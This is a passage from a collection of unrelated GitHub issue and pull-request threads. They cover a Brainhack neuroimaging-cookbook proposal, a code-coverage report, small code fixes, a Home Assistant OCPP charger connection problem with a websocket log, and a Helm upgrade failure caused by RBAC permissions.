That way it makes sense both literally and conceptually, but that is still a breaking change.
Anyway, I will leave it with you, just thought I would raise it as it caught me out.

I don't want to change code for this. The doc comment can be updated to:
note: By default logging is disabled. When using this overload all log entries whose level is greater or equal than `minLogLevel` (with `debug` being the lowest logging level) will be written using the `print` function.

or something to that effect.


Neuroimaging Cookbook 🧠🍳📓

Project info
Title:
Neuroimaging Cookbook 🧠🍳📓

Project lead:
Shawn Rhoads
GitHub: @shawnrhoads
Twitter: @ShawnRhoads56
Mattermost: shawnrhoads
Project collaborators:
TBD! Contributions of any kind are welcome!
Registered Brainhack Global 2020 Event:
Brainhack DC
Project Description:
Anyone ever Google how to accomplish a task for neuroimaging data more than once? For example, I’ve Googled "how to extract a mask from a parcellation scheme" or "how to output the time series from an ROI to a .csv file" hundreds of times because I can't remember the exact command/function or flags to pass (and every time I am reminded just how many times I've visited the same webpages):
There are countless software packages with widely different commands and options to perform all sorts of different functions when working with neuroimaging data. But remembering them all is nearly impossible!
The Neuroimaging Cookbook will centralize “code snippets” (or “recipes”) for different, specific, and simple tasks in neuroimaging that people can incorporate in their own analysis pipelines. And most importantly, it would be scalable so that anyone can contribute their random, useful code snippet.
The idea is inspired by 30 Seconds of Code (specifically, 30 Seconds of Python), where people can easily reference code (across software) for different neuroimaging tasks like: how to convert across different image formats (e.g., BRIK/HEAD, img/hdr, nii, etc), flatten the lower triangle of a representational similarity matrix, extract a mask from a parcellation, output the time-series from an ROI to a .csv /.txt file, etc. Not exactly tutorials, but "code snippets" that people can adapt for their own scripts, apps, or Jupyter Notebooks.
Data to use:
N/A
Link to project repository/sources:
https://github.com/neuroimaging-cookbook
Goals for Brainhack Global 2020:
Easy:

Determine a list of simple, common tasks in neuroimaging (e.g., extracting a mask, converting BRIK/HEAD files to NIFTI), divide tasks among project members, and create various snippets of code to accomplish each task
Organize each snippet by utility (e.g., data cleaning, data organization/processing, analysis), software package (e.g., AFNI, FSL), and programming language (e.g., Bash, Python, R)
Test cookbook on desktop and mobile

Intermediate:

Cookbook website design (should be a searchable webpage)
Create documentation so that others can easily contribute

Good first issues:

Create first batch of recipes for use in the cookbook (Team 1)
Develop the cookbook webpage (Team 2)

Skills (at least one of these):

Experience working with neuroimaging data
Website development/deployment
Basic Git/GitHub knowledge
Documentation

Tools/Software/Methods to Use:

Python (nipy, nipype, pyBIDS, nilearn, nibabel, pyMVPA, Brainiak, etc)
R
MATLAB
AFNI
Freesurfer
FSL
ANTs
Bash shell
Git/GitHub
A text editor (e.g., Notepad, VSCode, Sublime, etc.)
Google
HTML/CSS

Communication channels:
https://mattermost.brainhack.org/brainhack/channels/neuroimaging-cookbook
Project labels

Type of project:
#coding_methods, #data_management, #documentation,

Project development status:
#0_concept_no_content

Topic of the project:
#Bayesian_approaches, #causality, #connectome, #data_visualisation, #deep_learning, #diffusion, #EEG_EventRelatedResponseModelling, #Granger_causality, #ICA, #machine_learning, #neural_decoding, #neural_encoding, #neural_networks, #PCA, #reinforcement_learning, #reproducible_scientific_methods, #statistical_modelling, #tractography

Tools used in the project:
#AFNI, #ANTs, #BIDS, #Brainstorm, #CPAC, #Datalad, #DIPY, #FieldTrip, #fMRIPrep, #Freesurfer, #FSL, #Jupyter, #MNE, #MRtrix, #Nipype, #NWB, #SPM

Tools skill level required to enter the project (more than one possible):
#comfortable, #familiar, #no_skills_required

Programming language used in the project:
#no_programming_involved, #C++, #documentation, #Java, #Julia, #Matlab,
#Python, #R, #shell_scripting, #Unix_command_line, #Web

Modalities involved in the project (if any):
#behavioral, #DWI, #ECOG, #EEG, #fMRI, #fNIRS, #MEG, #MRI, #PET

Git skills reuired to enter the project (more than one possible):
#0_no_git_skills, #1_commit_push, #2_branches_PRs, #3_continuous_integration

[x] I added all of the labels I want an associate to my project

Project Submission
Submission checklist
Once the issue is submitted, please check items in this list as you add under ‘Additional project info’

[x] Link to your project: could be a code repository, a shared document, etc.
[x] Goals for Brainhack Global 2020: describe what you want to achieve during this brainhack.
[x] Flesh out at least 2 “good first issues”: those are tasks that do not require any prior knowledge about your project, could be defined as issues in a GitHub repository, or in a shared document.
[x] Skills: list skills that would be particularly suitable for your project. We ask you to include at least one non-coding skill. Use the issue labels for this purpose.
[x] Chat channel: A link to a chat channel that will be used during the Brainhack Global 2020 event. This can be an existing channel or a new one. We recommend using the Brainhack space on Mattermost.

We would like to think about how you will credit and onboard new members to your project. If you’d like to share your thoughts with future project participants, you can include information about:

[x] Specify how you will acknowledge contributions (e.g. listing members on a contributing page).

Contributions:
All contributions will be recognized in the cookbook and follow the all-contributors specification. Contributions of any kind are welcome!

Hi @Brainhack-Global/project-monitors: my project is ready!

Thanks for submitting this project. Love the idea!! I'm sure it will be useful to many!
Should be on the website anytime soon! :rocket:


Build OSS support on CI.

Codecov Report

Merging #69 (5f78c2e) into main (700f577) will increase coverage by 13.53%.
The diff coverage is n/a.

@@             Coverage Diff             @@
##             main      #69       +/-   ##
===========================================
+ Coverage   62.44%   75.98%   +13.53%
===========================================
  Files          52       53        +1
  Lines        3752     3797       +45
===========================================
+ Hits         2343     2885      +542
+ Misses       1409      912      -497

Impacted Files
Coverage Δ

src/common/util/functions.h
15.78% <0.00%> (-27.07%)
:arrow_down:

src/client/client.cc
70.58% <0.00%> (-15.60%)
:arrow_down:

src/common/util/blocking_queue.h
0.00% <0.00%> (ø)

src/server/services/etcd_meta_service.cc
81.48% <0.00%> (+5.55%)
:arrow_up:

src/common/util/status.h
44.94% <0.00%> (+5.61%)
:arrow_up:

src/common/util/status.cc
25.39% <0.00%> (+6.34%)
:arrow_up:

src/server/memory/stream_store.cc
64.48% <0.00%> (+8.41%)
:arrow_up:

src/server/services/etcd_meta_service.h
92.00% <0.00%> (+12.00%)
:arrow_up:

src/common/util/protocols.cc
91.52% <0.00%> (+15.79%)
:arrow_up:

src/server/async/socket_server.cc
82.50% <0.00%> (+16.75%)
:arrow_up:

... and 6 more


GoogleUtilities: fix public header imports

use modular style import for public headers

Submitting the PR now because all relevant tests have passed.


Add support for source C/C++ output

As described in first commit message, user who want to use autorevision for a project have to generate a header file. However, this practice harmful. Indeed, it is tempting to include version.h in most other source files. Consequently, all project need to be rebuild when version change.
Using a plain source file is a better practice. It allows to only recompile one file on version change.
In order to avoid compiler warning, autorevision variables have to be declared. We provide contribs/autorevision_declr.h for that.

This looks very nice; it look like all you have left is updating the man page.

v2: Also update autorevision.asciidoc


esp_event: Fix misuse of recursive semaphore take/give calls for prof… (IDFGH-4246)

…iling_mutex
The profiling_mutex is created by xSemaphoreCreateMutex(), so don't use the
recursive version of semaphore take/give calls.
Signed-off-by: Axel Lin<EMAIL_ADDRESS>

Thanks for your contribution.

Any chance to review this trivial fix?

Change looks good to me. But I can see similar change in our internal code-base (yet to sync with github though), so we are good for now :-)

It's actually not a similar change but exactly the same fix.
So you guys didn't pull the PR but apply and commit the fix manually.
It's simply wrong way to handle PR.

Any chance to review this trivial fix?

Change looks good to me. But I can see similar change in our internal code-base (yet to sync with github though), so we are good for now :-)

It's actually not a similar change but exactly the same fix.
So you guys didn't pull the PR but apply and commit the fix manually.
It's simply wrong way to handle PR.

@AxelLin sorry for we re-created your commit so the information is missing. we’ll pay attention next time.

@AxelLin sorry for we re-created your commit so the information is missing. we’ll pay attention next time.


Does this support stackable grids

lets say on desktop I have 4 columns but On mobile I want those columns to stack, is this possible with ReactSimpleFlexGrid ?

Do you mean 4 columns on desktop and 1 column on mobile ?

No response


ABB Tera AC w22-T-R-O - all entities are 'unavailable'

Hello,
I have a charging unit ABB Tera AC w22-T-R-O.
I'm trying to connect it to my Home Assistant Via the HACS OCPP integration.

HA version - Core: 2024.9.0 | Supervisor: 2024.08.0 | Operating System: 13.1
Version of the custom_component OCPP- v0.5.9
No YAML configuration was added/created.

After following the documentation steps/instructions, a new integration was added:

Accordingly, 2 device were added:

The 'central' device has no entities:

The abb device has 52 entities, which all of those (expect one) are grayed-out (unavailable):

I cannot find any error logs related to this...
What do I do wrong? Can someone kindly please assist me
Thank you in advance,
N

I suspect it is related to  #1275. At least that was an issue with my charger. Fortunately, there is a fix and its submitted: #1292. We have to wait a bit for review process to get it sorted out.
If you want to test it, you could use this branch: https://github.com/rinigus/ha-ocpp/tree/config-autodetect-measurands
Note that this branch has also updated documentation regarding ABB chargers. Please read it first.
Until the fix is applied, I would suggest to switch off the charger or connect it somewhere else. If it is the same issue as #1275, your charger would be bootloop'ing otherwise.

Not sure if it's only ABB related, but after upgrading HA to 2024.9.0 mine w11 stopped working.

This seems to unrelated to HA update, WIFI connection issue.

Please test with the latest OCPP version (0.5.11) and follow instructions at https://home-assistant-ocpp.readthedocs.io/en/latest/supported-devices.html under ABB subsection. I hope your issue is fixed.

Please test with the latest OCPP version (0.5.11) and follow instructions at https://home-assistant-ocpp.readthedocs.io/en/latest/supported-devices.html under ABB subsection. I hope your issue is fixed.

The workarounds described in the link worked for me.

The workaround with disable automatic measureands works somewhat for me as well.. It does, however, often give me the "StartupOfTheDevice" notification. Today it stopped reporting back and I saw the following in my logs.
Firmware 1.8.21 as well
`2024-11-15 22:44:53.858 INFO (MainThread) [websockets.server] connection closed
2024-11-15 22:44:53.859 DEBUG (MainThread) [websockets.server] = connection is CLOSED
2024-11-15 22:44:53.869 DEBUG (MainThread) [websockets.server] = connection is CONNECTING
2024-11-15 22:45:00.821 DEBUG (MainThread) [websockets.server] ! invalid handshake
Traceback (most recent call last):
File "/usr/local/lib/python3.12/site-packages/websockets/legacy/server.py", line 288, in read_http_request
path, headers = await read_request(self.reader)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/websockets/legacy/http.py", line 81, in read_request
raise ValueError(f"invalid HTTP request line: {d(request_line)}") from None
ValueError: invalid HTTP request line: \x81\xfe\xe2abcd:PODCRS]QSV\CNCF,FMBF
The above exception was the direct cause of the following exception:
Traceback (most recent call last):
File "/usr/local/lib/python3.12/site-packages/websockets/legacy/server.py", line 171, in handler
await self.handshake(
File "/usr/local/lib/python3.12/site-packages/websockets/legacy/server.py", line 591, in handshake
path, request_headers = await self.read_http_request()
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/websockets/legacy/server.py", line 292, in read_http_request
raise InvalidMessage("did not receive a valid HTTP request") from exc
websockets.legacy.exceptions.InvalidMessage: did not receive a valid HTTP request
2024-11-15 22:45:00.824 DEBUG (MainThread) [websockets.server] > HTTP/1.1 400 Bad Request
2024-11-15 22:45:00.825 DEBUG (MainThread) [websockets.server] > Date: Fri, 15 Nov 2024 21:45:00 GMT
2024-11-15 22:45:00.825 DEBUG (MainThread) [websockets.server] > Server: Python/3.12 websockets/13.1
2024-11-15 22:45:00.825 DEBUG (MainThread) [websockets.server] > Content-Length: 157
2024-11-15 22:45:00.826 DEBUG (MainThread) [websockets.server] > Content-Type: text/plain
2024-11-15 22:45:00.826 DEBUG (MainThread) [websockets.server] > Connection: close
2024-11-15 22:45:00.826 DEBUG (MainThread) [websockets.server] > [body] (157 bytes)
2024-11-15 22:45:00.828 INFO (MainThread) [websockets.server] connection rejected (400 Bad Request)
2024-11-15 22:45:00.829 DEBUG (MainThread) [websockets.server] x closing TCP connection
2024-11-15 22:45:00.829 DEBUG (MainThread) [websockets.server] = connection is CLOSED
2024-11-15 22:45:00.831 INFO (MainThread) [websockets.server] connection closed
2024-11-15 22:45:00.858 DEBUG (MainThread) [websockets.server] = connection is CONNECTING`


Helm upgrade fails due to service deletion in not-matched RBAC policy namespace when it should not delete that resource at all

Hello everyone,
I'm having some trouble when trying to upgrade resources in a OpenShift platform. There are three namespaces (dev, test, prod), and I currently have read-write permissions only on the first two of those.
I have defined a chart with some default values; most of them are overwritten by applications' values.yaml.
I'm exploiting helm Charts templating capabilities to define values specific to each one of those environment for each application (for the sake of this question, let's consider just one application, my-app, with one yaml file), and by setting a flag to true/false (in aforementioned values.yaml file) if I want the template to be processed for a specific environment, like:
environments:
  prod:
    enabled: false
...

I can then decide wheter to install/upgrade the specified values.yaml by setting the template file (_service.tpl) like this:
{{- define "my-app.service" -}}
apiVersion: v1
kind: Service
metadata:
  namespace: {{ .Values.namespace }}-{{ .env }}
...

and a file for each env, like service-dev.yaml and service-prod.yaml:
{{- if .Values.environments.dev.enabled -}}
{{ include "service" (dict "env" "dev" "Values" .Values "Chart" .Chart "Release" .Release)  }}
{{- end }}

This works fine with helm install and it installs the values.yaml only on the environment I marked as enabled.
As I stated before, I'm not the owner of the platform and I don't have a read/write permissions for prod namespace, and this becomes a problem when I try to do an helm upgrade command specifying only dev and test namespaces/environments.
The problem is the following:
Error: UPGRADE FAILED: Failed to delete "my-app": services "my-app" is forbidden: User "me" cannot delete services in the namespace "prod": no RBAC policy matched

Why whould that delete be necessary? Is there some under the hood processing that happens regardless of my values.yaml? Quoting the helm documentation:

An upgrade takes an existing release and upgrades it according to the information you provide. Because Kubernetes charts can be large and complex, Helm tries to perform the least invasive upgrade. It will only update things that have changed since the last release.

I expected Helm to update only the values that have changed. The template file should not have created the service resource because the env: prod is not enabled. To check this behaviour, I ran helm upgrade my-app ../path-to-chart -f ./values.yaml --debug --dry-run and I do not see any service created for the prod environment (but I do see the ones for dev and test which I enabled).
So my question is: is this a normal behaviour? How can I achieve a "partial" upgrade only in the specified namespaces and why should helm try to delete a service where there are no value changes?
Obviously the abovementioned .yaml files are restricted to this question pertinent values, but they include lots more.
Thanks so much and sorry for the inconvenience!
Output of helm version: version.BuildInfo{Version:"v3.2.3", GitCommit:"8f832046e258e2cb800894579b1b3b50c2d83492", GitTreeState:"clean", GoVersion:"go1.13.12"}
Output of kubectl version: kubernetes v1.11.0+d4cacc0
Cloud Provider/Platform (AKS, GKE, Minikube etc.): OpenShift (openshift v3.11.200)

I want to start with two notes:

This type of setup is not the typical situation Helm was designed for. Helm is a package manager. I've not used apt or yum this way. It's usually a higher level system managing the environment packages are installed into. I've seen this type of setup with something like helmfile which acts at a higher level.
I understand why the chart likely can't be shared but without that we will be helping to troubleshoot at a distance.

I have some questions...

How do you manage the namespaces Helm deploys into vs where Helm stores it's objects? For example, the helm upgrade command does not specify the namespace. Is that set in kubeconfig or somewhere else? Is the Helm release information stored in the same namespace as the installed apps?
Are all environments managed as a single app? If this is the case, some things like rollback aren't going to work as you'd expect. I would suggest each environment be it's own instance of the app.

Hi @mattfarina , thanks so much for your quick reply.
I see your point in saying that Helm is not designed for that, and I aknowledge the fact that this is a complexity that can be probably solved by a higher level system such as helmfile, or maybe even something like Terraform?
Anyway, as you can imagine, the chart can't be shared and I am truly sorry, if this becomes a problem it is ok for me to consider the issue closed.
As for your question,

We have a common environment, say build, where Helm informations are stored for the installed apps. The namespace where the objects are deployed instead is based off template metadata:

metadata:
  name: app-name
  namespace: {{ required "Namespace is required" .Values.namespace }}-{{ .env }}`

and it is set when executing the command (for making it more general-purpose)
helm install my-app ../chart -f ./values.yaml --set namespace=$namespace

Yes. They are managed as a single app as they share the same values.yaml file, like:

...
chart:
  name: my-app
  version: 0.1.0

environments:
  dev:
    enabled: true
    ...
  test:
    enabled: false
    ...
  prod:
    enabled: false
    ...
...

With that being said, I guess I should move our charts in the direction that you pointed above, splitting them and managing the environments separately. I'll definitely look into helmfile and see what it can do.
Again, thanks so much for your time!

closing as answered. Let us know if you have further questions. Thanks!